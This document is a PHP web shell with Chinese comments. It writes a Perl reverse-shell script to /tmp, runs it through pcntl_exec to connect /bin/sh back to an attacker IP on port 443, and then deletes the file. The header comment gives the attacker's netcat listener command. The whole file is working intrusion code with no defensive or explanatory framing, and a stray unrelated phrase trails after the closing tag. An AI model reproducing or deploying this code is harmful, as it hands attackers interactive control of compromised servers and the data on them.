<?php 

/*******************************  *查察phpinfo編譯參數--enable-pcntl  *作者 Spider  *nc -vvlp 443 ********************************/   $ip = 'xxx.xxx.xxx.xxx'; $port = '443'; $file = '/tmp/bc.pl';   header("content-Type: text/html; charset=gb2312");   if(function_exists('pcntl_exec')) {         $data = "#!/usr/bin/perl -w # ".                 " use strict; use ".                 "Socket; use IO::Handle".                 "; my $remote_ip = '".$ip.                 "'; my $remote_port = '".$port.                 "'; my $proto = getpr".                 "otobyname("tcp"); my $".                 "pack_addr = sockaddr_in".                 "($remote_port, inet_ato".                 "n($remote_ip)); my $sh".                 "ell = '/bin/sh -i'; so".                 "cket(SOCK, AF_INET, SOC".                 "K_STREAM, $proto); STD".                 "OUT->autoflush(1); SOC".                 "K->autoflush(1); conne".                 "ct(SOCK,$pack_addr) or ".                 "die "can not connect:$!".                 ""; open STDIN, "<&SOCK".                 ""; open STDOUT, ">&SOC".                 "K"; open STDERR, ">&SO".                 "CK"; system($shell); ".                 "close SOCK; exit 0; ";         $fp = fopen($file,'w');         $key = fputs($fp,$data);         fclose($fp);         if(!$key) exit('寫入'.$file.'失敗');         chmod($file,0777);         pcntl_exec($file);         unlink($file); } else {         echo '不支持pcntl擴展'; } ?>，域名注冊